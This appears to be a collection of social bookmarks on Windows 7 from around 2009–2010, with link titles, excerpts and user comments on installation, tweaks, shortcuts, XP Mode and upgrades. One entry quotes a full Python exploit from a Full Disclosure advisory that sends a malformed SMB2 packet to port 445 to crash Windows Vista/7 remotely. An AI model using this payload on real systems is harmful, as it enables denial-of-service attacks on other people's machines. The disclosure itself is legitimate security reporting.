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AeroSnap BETA - Simple. Clever. Powerful.
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AeroSnap is a simple but powerful application that allows you to resize, arrange or maximize your desktop windows with just drag'n'drop.
Using Boot Camp to install Windows 7 on your Mac: The Complete Walkthrough - Simple Help
http://www.simplehelp.net/2009/01/15/using-boot-camp-to-install-windows-7-on-your-mac-the-complete-walkthrough/
bootcamp windows7
A complete walkthrough
20 Windows 7 Tweaks & Tips – Every Secret Uncovered to Date | Maximum PC
http://www.maximumpc.com/article/features/20_windows_7_tweaks_tips_%E2%80%93_every_secret_uncovered_date
Windows 7 shortcuts
Windows 7: The Complete Guide
http://i.gizmodo.com/5150298/windows-7-the-complete-guide
50 seriously useful Windows 7 tips | News | TechRadar UK
http://www.techradar.com/news/software/operating-systems/50-seriously-useful-windows-7-tips-528483
50 seriously useful Windows 7 tips It's the mother lode of Windows 7 tweaks and tricks! : TechRadar UK
Windows 7 Release Candidate Customer Preview Program
http://www.microsoft.com/windows/windows-7/download.aspx
Lifehacker - Lifehacker's Guide to Upgrading to Windows 7 RC - Windows 7 upgrade
http://lifehacker.com/5240931/lifehackers-guide-to-upgrading-to-windows-7-rc
Whether you want to set up a dual-boot system, you're ready to migrate all the way to Windows 7 RC from XP, or something in between, here's what you need to know. You'll need to have already downloaded Windows 7 RC before you proceed with any of those methods, but now that you've had some time, let's take a look at a few ways you can install and use Windows 7 RC. If you're still not sure if Windows 7 seems worth it, check out the top 10 things to look forward to in Windows 7, then take a peek at what's new in Windows 7 RC.
This is a large part of the source that I think I am going to use for my podcast on Windows 7. It does a great job of describing the new features.
Gizmodo - How To Install Windows 7 On Almost Any Netbook - Windows 7 netbook installation
http://gizmodo.com/5257386/how-to-install-windows-7-on-almost-any-netbook
Windows 7 is free for now, and works extremely well on netbooks. That said, installing the OS on these tiny laptops—especially low-end models—can be daunting. Here's how to do it, the easy way: If the Release Candidate is any indication (and it should be), then Windows 7 will be a nice upgrade for any Windows user. The new OS, however, is a huge step up for netbook users. Vista is notoriously poorly suited to netbooks; a buggy resource hog that subjects its users to incessant dialog boxes and requires far too many clicks to perform basic tasks, it's kind of a nightmare to use on a 9-inch laptop with a 1.5-inch trackpad. Windows XP has been given a boost by netbooks, as its system requirements—more-or-less decided in 2001—are more in line with the specs hardware like the Eee PC and Mini 9. But let's face it: XP is nearly a decade old. Its user experience is trumped by free alternatives like Ubuntu Netbook Remix and Linpus, and it's not at all optimized for solid-state drives—especiall
Lifehacker - Set Up and Use XP Mode in Windows 7 - Windows 7 XP Mode
http://lifehacker.com/5245396/set-up-and-use-xp-mode-in-windows-7
Life Hacker article on how to set up Windows 7's XP Mode
Windows 7's new XP Mode lets you seamlessly run virtualized applications alongside your regular Windows 7 applications—so your outdated software will continue to work
We've shown you how to upgrade to the Windows 7 release candidate and walked you through what's new when you get there; now let's take a look at how to enable Windows 7 XP Mode. Windows 7's new XP Mode lets you seamlessly run virtualized applications alongside your regular Windows 7 applications—so your outdated software will continue to work. Before we begin, you'll want to make sure your system meets the requirements: * Processor: Processor capable of hardware virtualization, with AMD-V™ or Intel® VT turned on in the BIOS. * Memory: 2GB of memory recommended. * Hard disk requirement: 20MB hard disk space for installing Windows Virtual PC. Additional 15GB of hard disk space per virtual Windows environment recommended. Make sure that your processor supports hardware virtualization, and double-check that the hardware virtualization setting is enabled in your BIOS (the setting is often not enabled although your processor may be supported). You can use the official Intel Pr
Gizmodo - How To Install Windows 7 On Almost Any Netbook - Windows 7 netbook installation
http://gizmodo.com/5257386/how-to-install-windows-7-on-almost-any-netbook?skyline=true&s=x
Windows7 Windows7netbook netbook gizmodo.com
Lee-Soft - ViGlance: Windows 7 SuperBar for XP
http://www.lee-soft.com/viglance/
ViGlance groups windows relative to their process. Each open application reserves its own space on the bar. Windows relative to that application are then grouped as children of that application on the bar. This keeps the taskbar clean and better organised into a more logical grouping system.
Lifehacker - Windows 7's Best Underhyped Features - windows 7
http://lifehacker.com/5254211/windows-7s-best-underhyped-features
Scott Hanselman's Computer Zen - Less Virtual, More Machine - Windows 7 and the magic of Boot to VHD
http://www.hanselman.com/blog/LessVirtualMoreMachineWindows7AndTheMagicOfBootToVHD.aspx
Booting Windows7 from a virtual hard disk OS file .vhd
How to Upgrade Windows XP to Windows 7
http://www.nirmaltv.com/2009/08/06/how-to-upgrade-windows-xp-to-windows-7/
Wow. Como atualizar do XP para o 7! Útil!
How to Upgrade the Windows 7 RC to RTM (Final Release) :: the How-To Geek
http://www.howtogeek.com/howto/3075/how-to-upgrade-the-windows-7-rc-to-rtm/
The Windows 7 beta or RC releases were Ultimate edition, so you’ll only be able to upgrade to the RTM (final) if you are installing Ultimate Edition.
Benchmarked: Ubuntu vs Vista vs Windows 7 | TuxRadar
http://www.tuxradar.com/content/benchmarked-ubuntu-vs-vista-vs-windows-7
Siinä testiä
Speed Up Windows 7 - Ultimate Guide To Make Windows 7 Blazing Fast!!!
http://www.computingunleashed.com/2009/06/speed-up-windows-7-ultimate-guide-to.html
Ultimate Windows Tweaker v2, a Tweak UI for Windows 7 & Vista | The Windows Club
http://www.thewindowsclub.com/ultimate-windows-tweaker-v2-a-tweak-ui-for-windows-7-vista
Ultimate Windows Tweaker v 2.0 is a freeware Tweak UI Utility for tweaking and optimizing Windows 7 & Windows Vista, 32-bit & 64-bit.
Optmize
Ultimate Windows Tweaker v 2.0 is a freeware Tweak UI Utility for tweaking and optimizing Windows 7 & Windows Vista, 32-bit & 64-bit. It can simply be downloaded and used as a portable application to customize your Windows to meet your requirements. With judicious tweaking, it can make your system faster, more stable, and more secure with just a few mouse clicks.
Ultimate Windows Tweaker v 2.0 is a freeware Tweak UI Utility for tweaking and optimizing Windows 7 & Windows Vista, 32-bit & 64-bit. It can simply be downloaded and used as a portable application to customize your Windows to meet your requirements.
Scott Hanselman's Computer Zen - Step-By-Step: Turning a Windows 7 DVD or ISO into a Bootable VHD Virtual Machine
http://www.hanselman.com/blog/StepByStepTurningAWindows7DVDOrISOIntoABootableVHDVirtualMachine.aspx
This is not about a virtual machine. Only the hard drive is virtual.
Scott Hanselman's Computer Zen - Step-By-Step
Windows 7 Sins — The case against Microsoft and proprietary software
http://windows7sins.org/
Free Software Foundation
FSF launches campaign against Windows 7 and proprietary software Windows 7 Sins: The case against Microsoft and proprietary software The new version of Microsoft's Windows operating system, Windows 7, has the same problem that Vista, XP, and all previous versions have had -- it's proprietary software. Users are not permitted to share or modify the Windows software, or examine how it works inside. The fact that Windows 7 is proprietary means that Microsoft asserts legal control over its users through a combination of copyrights, contracts, and patents. Microsoft uses this power to abuse computer users. At windows7sins.org, the Free Software Foundation lists seven examples of abuse committed by Microsoft.
Important notice regarding impending lack of privacy, freedom and security from Microsoft Corporation.
El cuarto pecado es el que más me repele de Windows!
Use any version of Windows 7 free for 120 days
http://windowssecrets.com/2009/08/20/01-Use-any-version-of-Windows-7-free-for-120-days
Interesting idea if you have the inclination and time...
There's an easy way to stretch Windows 7's 30-day free-trial period to 120 days so you can determine whether Microsoft's new operating system meets your needs.Even better — if you know the secret — you can try out any version of Win7, from Ultimate to the lowly Basic, using a single install disc.
The Windows Secrets Newsletter brings you essential tricks of running Microsoft Windows XP, Vista, Internet Explorer, Firefox, Windows Update, and more — weekly, free.
WinToFlash Turns Your Windows Installation DVD into a USB-Based Installer - Installation - Lifehacker
http://lifehacker.com/5347382/wintoflash-turns-your-windows-installation-dvd-into-a-usb+based-installer
to do list
Keyboard shortcuts
http://windows.microsoft.com/en-us/Windows7/Keyboard-shortcuts
18 cool things Windows 7 does that Vista doesn't | News | TechRadar UK
http://www.techradar.com/news/computing/pc/18-cool-things-windows-7-does-that-vista-doesn-t-628892
18 cool things Windows 7 does that Vista doesn't The stuff that makes the upgrade worthwhile : TechRadar UK
Cool stuff! Didn't know about the shake and a couple of other things. via stocktickr
Scott Hanselman's Computer Zen - Step-By-Step: How To "Upgrade" from Windows XP to Windows 7
http://www.hanselman.com/blog/StepByStepHowToUpgradeFromWindowsXPToWindows7.aspx
"I was asked to "upgrade" a relative's machine from Windows XP to Windows 7, so I figured this was a good time to write-up the experience in case it helps others."
741
http://www.win741.com/
Dirt cheap student copy of windows 7
Steeply discounted Windows 7 Home Premium or Professional for qualifying students.
Limited time offer to get Windows 7 for $29.99
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Turn Your Windows 7 PC Into a Wireless Hotspot - windows 7 - Lifehacker
http://lifehacker.com/5369381/turn-your-windows-7-pc-into-a-wireless-hotspot
Everybody's got a wireless network at home, but if you've ever wanted to get your iPod touch, iPhone, or other wireless device connected, but all you've got is a wired network at work, school, or elsewhere, Windows 7 makes this process trivial.
http://lifehacker.com/280002/turn-your-laptop-into-a-wireless-hot-spot
Windows Service Manager!
http://serviceseditor.com/
Windows Keyboard Shortcuts for Windows 7 | TutZone
http://tutzone.net/2009/10/windows-keyboard-shortcuts-for-windows-7.html
Windows Keyboard Shortcuts for Windows 7
A Review of the Pirated Copy of Windows 7 I Bought On eBay | Cracked.com
http://www.cracked.com/blog/using-windows-7-may-lead-to-murder/
A Review of the Pirated Copy of Windows 7 I Bought On eBay
A Review of the Pirated Copy of Windows 7 I Bought On eBay - http://bit.ly/4FKpXb [from http://twitter.com/hadhad/statuses/4680624496]
Terrible. Possibly related to the previously mentioned hardware difficulties, I found stability to be a real issue with Windows 7. Crashes were frequent, including Blue Screens of Death. Error messages were cryptic and meaningless to me – see below.
LMAO!!! Un unboxing de "Windows7" muy divertido :-)
"Very difficult. The install for Windows 7 comes on four floppy disks, and as my laptop doesn’t have a floppy drive, I was worried I’d have to travel 10 years into the past to find a computer that did. Fortunately, my local Best Buy was offering a USB floppy drive for $80, which, not withstanding certain recent software purchases, struck me as the greatest ripoff the world has ever seen. I’d advise anyone wanting to install Windows 7 on their own machine should make sure their hardware can support it."
VistaSwitcher - Speed Up Windows Alt-Tab - NTWind Software
http://www.ntwind.com/software/vistaswitcher.html
An elegant and powerful task management utility for Windows OS. Speed Up Windows Alt-Tab.
VistaSwitcher is an elegant and powerful task management utility for Windows OS. Once installed, it replaces the default Windows Alt-Tab dialog with a nice box that shows a list of all running tasks with their names and preview snapshots and enables the user to take actions on them using the mouse and keyboard shortcuts. With just one click, you can switch to a task, minimize, maximize, restore the main window or close the process.
NTWind Software
Using VistaSwitcher Start VistaSwitcher, press Alt+Tab to show the list of all open windows on the desktop, press Ctrl+Alt+Tab to show the list of windows of the foreground application.
The Best Windows Tweaks that Still Work in Windows 7 - windows 7 - Lifehacker
http://lifehacker.com/5384603/the-best-windows-tweaks-that-still-work-in-windows-7
Prep Your PC for Windows 7 - windows 7 - Lifehacker
http://lifehacker.com/5385127/prep-your-pc-for-windows-7
Lifehacker's Complete Guide to Windows 7 - Windows - Lifehacker
http://lifehacker.com/5386953/lifehackers-complete-guide-to-windows-7
Windows 7 officially launches today, but we've been testing, tweaking, customizing, fixing, and writing about this OS for a year now. We present here a guide to everything we've learned about the OS, from first install to final settings change.
How to run Windows 7 under Mac OS X 10.6 for free - Anil Dash
http://dashes.com/anil/2009/10/how-to-run-windows-7-under-mac-os-x-106-for-free.html
Fast Picture Viewer | WIC RAW Codec Pack for Windows 7, Vista and XP
http://www.fastpictureviewer.com/codecs/
Fast Picture Viewer | WIC RAW Codec Pack for Windows 7, Vista and XP
How to make a DVD of that student-only Windows 7 you bought for $29.99
http://www.downloadsquad.com/2009/10/22/how-to-make-a-dvd-of-that-student-only-windows-7/
Optimize Your Windows 7 PC - PC World
http://www.pcworld.com/article/172351/optimize_your_windows_7_pc.html
Squeeze the very best performance out of your PC with these Windows 7 optimization tricks.
Paul Thurrott's SuperSite for Windows: Clean Install Windows 7 with Upgrade Media
http://www.winsupersite.com/win7/clean_install_upgrade_media.asp
clean installing Windows 7 with Upgrade media
Clean install of widows 7 from upgrade media
Top 10 Windows 7 Booster Apps - windows 7 - Lifehacker
http://lifehacker.com/5388948/top-10-windows-7-booster-apps
How-To: Install Windows 7 and live to tell about it
http://www.engadget.com/2009/08/11/how-to-install-windows-7-and-live-to-tell-about-it/
So you're thinking about going to Windows 7, eh? Chances are your head is swimming in a sea of TLAs and confusing charts -- enough to have the most adamant Microsoft defender reaching for a something with an Option key. Fear not, noble purchaser of legal software. Though XP users have been punished for skipping Vista by not being able to directly upgrade now, the process of backing up your data, formatting and installing Windows, and then restoring your goods again has never been easier -- even if you're on a netbook with less storage than your smartphone. Vista users have even less to worry about. We'll have our full impressions of the finally finalized OS later this week, but for now let's journey hand in hand down the gently sloped path of the upgrade process.
Will need to look this up in October
The Master List of New Windows 7 Shortcuts - Windows - Lifehacker
http://lifehacker.com/5390086/the-master-list-of-new-windows-7-shortcuts
Personalization Gallery - Windows themes, backgrounds and gadgets - Microsoft Windows
http://windows.microsoft.com/en-US/windows/downloads/personalize?T1=themes
- Windows themes, backgrounds and gadgets - Microsoft Windows
Hasta la Vista, baby: Ars reviews Windows 7 - Ars Technica
http://arstechnica.com/microsoft/reviews/2009/10/windows-7-the-review.ars
Ninite Bulk-Installs Great Free Windows Apps - Installer - Lifehacker
http://lifehacker.com/5388408/ninite-bulk+installs-great-free-windows-apps
Windows: If you're upgrading to Windows 7 from XP, you'll spend a lot of time grabbing installers and Next-Next-Next-clicking through setup wizards. Unless you use Ninite to check off the best free software and install it all at once.
Download Windows 7 System Recovery Discs — The NeoSmart Files
http://neosmart.net/blog/2009/windows-7-system-repair-discs/
Windows 7 System Recovery Discs
Create Windows 7 recovery disks
NeoSmart Technologies is hosting a copy of the Windows 7 Recovery Disc for your convenience. It's a 143 MiB download (165 MiB for the 64-bit version), and in the standard ISO format, ready to burned directly to a CD or DVD. Don't wait until your PC crashes to download a copy! Download and burn your recovery disc today, so that when the time comes, you'll be ready!
The Windows 7 Recovery Disc can be used to access a system recovery menu, giving you options of using System Restore, Complete PC Backup, automated system repair, and a command-line prompt for manual advanced recovery.
Clean Install Windows 7 with Upgrade Media: The Answer - SuperSite Blog
http://community.winsupersite.com/blogs/paul/archive/2009/10/23/clean-install-windows-7-with-upgrade-media-the-answer.aspx
Windows 7 Guides: The Best Of - Windows 7 guide - Gizmodo
http://gizmodo.com/5392180/windows-7-guides-the-best-of
There is no one definitive Windows 7 guide—it's a sprawling OS with a decades-long legacy, so nobody can cover it all. But with our powers combined, you're in good hands.
Connectify
http://connectify.me/
Turn your Windows 7 laptop into a WiFi hotspot to share the Internet with friends, co-workers, and mobile devices.
Turn your Windows 7 Laptop into a Wifi Hotspot
Video Demonstration: The Best New Windows 7 Keyboard Shortcuts
http://lifehacker.com/5132073/the-best-new-windows-7-keyboard-shortcuts
Windows 7 boasts a lot of great new shortcuts
Windows 7: The Complete Guide - Windows 7 guide - Gizmodo
http://gizmodo.com/5150298/windows-7-the-complete-guide
7 Things To Do After Installing Windows 7
http://geeksmack.net/microsoft/796-7-things-to-do-after-installing-windows-7.html
Installing Windows 7
Run IE6, IE7, and IE8 on the Same Machine Using Windows 7 XP Mode [HTML & XHTML Tutorials]
http://articles.sitepoint.com/article/ie6-ie7-ie8-win7-xp-mode
Dual-Boot Windows 7 and Ubuntu in Perfect Harmony - windows 7 - Lifehacker
http://lifehacker.com/5403100/dual+boot-windows-7-and-ubuntu-in-perfect-harmony
20 essential free apps for your new Windows 7 PC | News | TechRadar UK
http://www.techradar.com/news/software/applications/20-essential-free-apps-for-your-new-windows-7-pc-648954?src=rss
20 essential free apps for your new Windows 7 PC Just got Win 7? Here are the programs you should download : TechRadar UK
Scott Hanselman's Computer Zen - Top 10 Tips Working Developers Should Know about Windows 7
http://www.hanselman.com/blog/Top10TipsWorkingDevelopersShouldKnowAboutWindows7.aspx
"Here's my list of the Top 10 Things Working Developers Should Know about Windows 7. I say "working developers" because if you're a .NET developer you either have run into these questions or you will, so why not put them in one place."
【PC Watch】 意外に安い? ボリュームライセンスでWindows 7を導入する
http://pc.watch.impress.co.jp/docs/topic/feature/20090911_314639.html
みて、ボリュームライセンスという選択肢をとり得ることをもう一度考慮してみてはどうだろう。
10 things you should know about moving from Windows XP to Windows 7 | 10 Things | TechRepublic.com
http://blogs.techrepublic.com.com/10things/?p=1000&tag=nl.e101
Windows 7 USB/DVD Download Tool
http://wudt.codeplex.com/
The Windows 7 USB/DVD Download tool allows you to create a copy of your Windows 7 ISO file on a USB flash drive or a DVD. To create a bootable DVD or USB flash drive, download the ISO file and then run the Windows 7 USB/DVD Download tool. Once this is done, you can install Windows 7 directly from the USB flash drive or DVD. Awesome
Downloads: Make Windows XP Look Like Windows 7 (No Hacking Required)
http://lifehacker.com/5156634/make-windows-xp-look-like-windows-7-no-hacking-required
Downloads: Make Windows XP Look Like Windows 7 (No Hacking Required)
Most Popular Free Windows Downloads of 2009 - Best of 2009 - Lifehacker
http://lifehacker.com/5426007/most-popular-free-windows-downloads-of-2009
We've featured hundreds of free Windows applications over the course of 2009 that we hoped might bolster your productivity, workflow, or your PC usefulness in one form or another. Here's a look back at the most popular Windows downloads of the year.
As with 2008's most popular free Windows downloads, keep in mind that the apps featured here are chosen by the popularity of the associated post we published in 2009. Many were new, some were improvements to already loved apps, and others were simply new-to-us. Here's a quick look back at the 19 or so most popular Windows downloads of 2009
Lifehacker Top 10: Top 10 Things to Look Forward to in Windows 7
http://lifehacker.com/5078582/top-10-things-to-look-forward-to-in-windows-7
#ubuntu910
Top 10 Things to Look Forward to in Windows 7
win7utils - Windows 7 ISO Disc Image Utilities
http://code.kliu.org/misc/win7utils/
The Windows 7 ISO Image Edition Switcher. removes the "ei.cfg" file which allows to install any edition of win7
The Windows 7 ISO Image Edition Switcher is a set of small binary patches that will convert an official Windows 7 ISO disc image into an official Windows 7 ISO disc image of another edition. The resulting ISO images are bit-for-bit identical with those posted on MSDN or TechNet, and their SHA-1 hashes should match the official hashes posted by Microsoft. The ei.cfg Removal Utility is a simple tool that will remove the ei.cfg from any Windows 7 ISO disc image, thereby converting the image into a "universal disc" that will prompt the user to select an edition during setup. This tool works by toggling the deletion bit in the UDF file table, eliminating the need for unpacking and rebuilding the ISO, which means that this is extremely fast (the process of patching the ISO to remove ei.cfg takes only a fraction of a second), and the process is easily reversible (running the utility on a disc image patched by this utility will restore the disc image to its original state)
ISO images are bit-for-bit identical with those posted on MSDN or TechNet, and their SHA-1 hashes should match the official hashes posted by Microsoft. The ei.cfg Removal Utility is a simple tool that will remove the ei.cfg from any Windows 7 ISO disc image, thereby converting the image into a "universal disc" that will prompt the user to select an edition during setup. This tool works by toggling
Become a Windows God! How to Enable GodMode on Windows 7 | Web Talk
http://www.webtlk.com/2010/01/02/become-a-windows-god-how-to-enable-godmode-on-windows-7/
"One of the less known options on Windows 7 is the God Mode feature. Basically, it lets you have every setting and option right in front of you, ready to be used without having to browse among different settings before getting what you are looking for. "
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
One of the less known options on Windows 7 is the God Mode feature. Basically, it lets you have every setting and option right in front of you, ready to be used without having to browse among different settings before getting what you are looking for. Here is how to enable it
Windows Seven interface (as well as desktop) is rather clean and minimalist. Of course, you can find almost everything you might need in the famous and well-known Control Panel. However this solution will not allow you to see and easily use all those nested settings included in the main options. Did you know that you can become a God? Well, on Windows 7 at least!
Stupid Windows 7 trick: unlock the secret God Mode folder
http://www.downloadsquad.com/2010/01/03/stupid-windows-7-trick-unlock-the-secret-god-mode-folder/
a folder packed with shortcuts to just about every settings change and administrative function in Windows 7. Everything you'll find in the Action Center, Backup and Restore, Autorun, Desktop Gadgets, Devices and Printers -- it's all there. All dumped in one central location for easy access.
Essential Windows Tricks - PC World
http://www.pcworld.com/article/183695/essential_windows_tricks.html
Whether you run Windows 7, Vista, or XP, these 25 tricks will make your PC faster, safer, and even more fun to work with.
Understanding Windows 7's 'GodMode' | Beyond Binary - CNET News
http://news.cnet.com/8301-13860_3-10423985-56.html?tag=digg2
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
MS Windows Vista and 7 expanded control panel
You Don't Need to Regularly Reinstall Windows; Here's Why - Crapware - Lifehacker
http://lifehacker.com/5435523/you-dont-need-to-regularly-reinstall-windows-heres-why
Summary (my version): Don't install crap programs, keep your system clean, defrag it once in a while, and know what you're downloading from where/whom. Pretty simple. Got it? Good
The reality is that Windows doesn't slow down if you just take care of your PC a little more. Follow these procedures, and you won't have to wonder if spending hours backing up data, installing from disc, and re-installing your essential applications is really necessary.
Understanding Windows 7's 'GodMode' | Beyond Binary - CNET News
http://news.cnet.com/8301-13860_3-10423985-56.html
http://smallvoid.com/article/windows-special-folders.htm
10 cool tools in Windows 7 | 10 Things | TechRepublic.com
http://blogs.techrepublic.com.com/10things/?p=738
The changes to the Windows 7 interface have gotten a lot of play, but some of the new built-in tools are just as compelling. Deb Shinder runs through some of the most impressive enhancements, from the ISO burner to the Biometric Framework to PowerShell v2. Windows 7 has received plenty of attention from the tech press, but much of the focus has been on interface changes, such as the redesigned taskbar, and new file management features, such as libraries. Some improvements are less obvious — like the new or enhanced tools that are included with the OS. Here we discuss 10 of these cool tools that make the computing experience easier. Note: This article is also available as a PDF download and as a photo gallery.
NiwradSoft » Seven Remix XP
http://www.niwradsoft.com/blog/seven-remix-xp/
מדריך: XP ישן במראה חדש
WindowsXPをWindows7っぽく見せるテーマ
Full Disclosure: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
http://seclists.org/fulldisclosure/2009/Sep/0039.html
Smb-Bsod.py: #!/usr/bin/python from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
This is why we do regression testing, folks!
Run XP Mode on Windows 7 Machines Without Hardware Virtualization - the How-To Geek
http://www.howtogeek.com/howto/10911/run-xp-mode-on-windows-7-machines-without-hardware-virtualization/
Computer Help from your Friendly How-To Geek
One of the neatest new features in Windows 7 Professional and above is XP Mode, but not all machines are capable of running it. Today we show you how to use VMware to run XP Mode on machines without Hardware Virtualization. How does this work? Even if your computer doesn’t have hardware virtualization, you can still install XP Mode but just cannot run it as you can’t run Virtual PC. Enter VMware Player. This free program lets you create and run virtual machines, whether or not you have hardware virtualization. And, it can directly import XP Mode so you can use that copy of XP for free. A couple features are different, but it’s still a great replacement since you otherwise couldn’t use it at all. Note: XP Mode does not work on Home Versions of Windows 7 and you’ll need VMware Player 3.0 Getting Started First, download and install XP Mode (link below). There is no need to download Virtual PC if your computer cannot run it, so just download the XP Mode from the link on the left.
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Speeding Up Windows 7: Everything You Need to Know
http://www.makeuseof.com/tag/guide-speeding-windows-7-machine/
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Engineering Windows 7 : Some Changes Since Beta for the RC
http://blogs.msdn.com/e7/archive/2009/02/26/some-changes-since-beta.aspx
We’ve been quite busy for the past two months or so working through all the feedback we’ve received on Windows 7. It should be no surprise but the Release Candidate for Windows 7 will have quite a few changes, many under the hood so to speak but also
All of the new features of Windows 7.
OS X Snow Leopard vs. Windows 7 | The Onion - America's Finest News Source
http://www.theonion.com/content/infograph/os_x_snow_leopard_vs_windows
Microsoft announced it will be releasing a new edition of its operating software, called Windows 7, while Apple is working on its new OS X Snow Leopard. How will they stack up against each other?
Five Best Windows 7 Tweaking Applications - Tweaks - Lifehacker
http://lifehacker.com/5508522/five-best-windows-7-tweaking-applications
Check out these five applications that tweak Windows 7 and customize it to your heart's content.
Create Windows 7 start menu using CSS3 only
http://www.jankoatwarpspeed.com/post/2010/04/06/windows-7-start-menu-css3.aspx
Installing Windows 7 RC1 on your Mac... for free
http://www.tuaw.com/2009/05/10/installing-windows-7-rc1-on-your-mac-for-free/
Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp.
In case you wanted to try the same. Also works on your PC.
Installing Windows 7 RC1 on your Mac... for free http://ow.ly/6dc4 [from http://twitter.com/10minuteexpert/statuses/1763318305]
by Steven Sande: Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp. Christina did a thorough rundown of the options for running Win 7 on Mac back in January.
Sometimes you have to use Windows. Supporting clients in multiple-OS environments makes this a necessity for some Mac users, while others want to run applications that are available in Windows only. You can get a preview of the latest flavor of Windows, Windows 7, by running Release Candidate 1 of the new OS either in a virtual environment such as VMWare Fusion, Parallels, or VirtualBox, or in Apple's own Boot Camp. Christina did a thorough rundown of the options for running Win 7 on Mac back in January.
Repair & Fix Windows problems with FixWin Utility | The Windows Club
http://www.thewindowsclub.com/repair-fix-windows-7-vista-problems-with-fixwin-utility
We are pleased to release a first-of-its-kind application for Windows 7 & Vista: FixWin. FixWin is a 529 KB freeware portable application to repair & fix common Windows annoyances & issues. FixWin detects whether you have Windows 7 or Windows Vista installed and accordingly offers you the relevant fixes only.
FixWin is a freeware portable application to repair & fix common Windows annoyances & issues. Solutions to repair and fix 50 common Windows annoyances, issues & problems have been included.
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Lifehacker - StandaloneStack is an Awesome File Browsing Widget - Featured Windows Download
http://lifehacker.com/5294161/standalonestack-is-an-awesome-file-browsing-widget
Windows only: We've already shown you how you can browse through files from the Stacks widget in the upcoming Snow Leopard release—but you can get that feature right now on your Windows PC.
19 Tips Every Windows 7 User Needs to Know | Maximum PC
http://www.maximumpc.com/article/features/nix_friction_your_win7_system
It’s been about six months since Windows 7 hit the market, so we figure most of our readers have made their upgrades. For those who’ve made that jump, we present a bottle of our favorite Windows 7 tips, each designed to help you extract the very last bits of convenience and GUI-navigating performance from your own personal dream machine. And if you haven’t yet upgraded to Win7, we trust you will after reading this article, as its core features—let alone its actual Lab-benchmarked performance—kicks Vista and XP ass.
Your OS drives your whole PC experience, so it's your job as an enthusiast to keep it in a high state of tune
It’s been about six months since Windows 7 hit the market, so we figure most of our readers have made their upgrades. For those who’ve made that jump, we present a bottle of our favorite Windows 7 tips, each designed to help you extract the very last bits of convenience and GUI-navigating performance from your own personal dream machine. And if you haven’t yet upgraded to Win7, we trust you will after reading this article, as its core features—let alone its actual Lab-benchmarked performance—kicks Vista and XP ass. We close out our tuning session with a tip designed to supercharge the process of installing the OS. By loading Windows 7 onto a USB key, and making that key a bootable drive, you can do an end-run around slow optical-drive technology and install your OS in (pardon the pun) a flash. It’s time to get started. Park your computer, but don’t shut down. This is one PC tune-up that can only be done with your engine running.
19 Tips Every Windows 7 User Needs To Know - windows 7 - Gizmodo
http://gizmodo.com/5523272/19-tips-every-windows-7-user-needs-to-know
ialog is history
19 Tips Every Windows 7 User Needs To Know - windows 7 - Gizmodo http://bit.ly/d1WfsR
Giz Explains: Why the Windows 7 Taskbar Beats Mac OS X's Dock
http://i.gizmodo.com/5131933/giz-explains-why-the-windows-7-taskbar-beats-mac-os-xs-dock
The challenge of learning a totally new Windows behavior is the cost of getting this huge step forward in UI. The superbar makes Windows way more conducive to running tons of applications, since it's actually possible to find apps and precisely the window you want in a second, no matter how bad the shitstorm on your desktop is. In this sense, it's a better application manager than the Dock, from which, generally speaking, you can't do much more than jump to open applications or close them.
If the Windows 7 Taskbar is a sign of things to come, Microsoft might be dangerously close to building the first operating system since MS-DOS 6 that doesn't make me want to punch my computer screen. I'm still not convinced that Windows 7 won't be a colossal screw-up (these are, after all, the folks who brought you the Red Ring of Death, the new crappy XBox Live user interface, and Windows Vista), but at least it looks like they managed to get *something* right.
Windows Vista Magazine | Give your Windows Vista desktop a Windows 7 makeover!
http://www.windowsvistamagazine.com/05582469249658242575/give-your-windows-vista-pc-a-windows-7-makeover.html
Download the official WIndows 7 wallpapers here and give your Windows Vista PC the WIndows 7 look
windows7 wallpapers
Following on from the feature in Issue 29 of Windows Vista: The Official Magazine, where we showed you how to make your Windows Vista desktop look and feel like Windows 7, we now have the official Windows 7 wallpapers available to download, right here. And not only do we have the UK wallpapers, but we also have the US and Australian wallpapers too. To download them, click on each link and right-click -> save target as to save them to your hard drive. Alternatively, download them all at once by going here.
Windows 7: How to Get Your Windows 7 Beta Product Key
http://lifehacker.com/5128193/how-to-get-your-windows-7-beta-product-key
windows 7 beta product key
Reading: Windows 7: How to Get Your Windows 7 Beta Product Key http://tinyurl.com/7d9b62 [from http://twitter.com/brandontruong/statuses/1122427047]
The Power User's Guide to the Windows 7 Taskbar - Taskbar - Lifehacker
http://lifehacker.com/5532578/the-power-users-guide-to-the-windows-7-taskbar
Make the Most of Your Multiple Monitors in Windows 7 - Dual Monitors - Lifehacker
http://lifehacker.com/5526025/make-the-most-of-your-multiple-monitors-in-windows-7
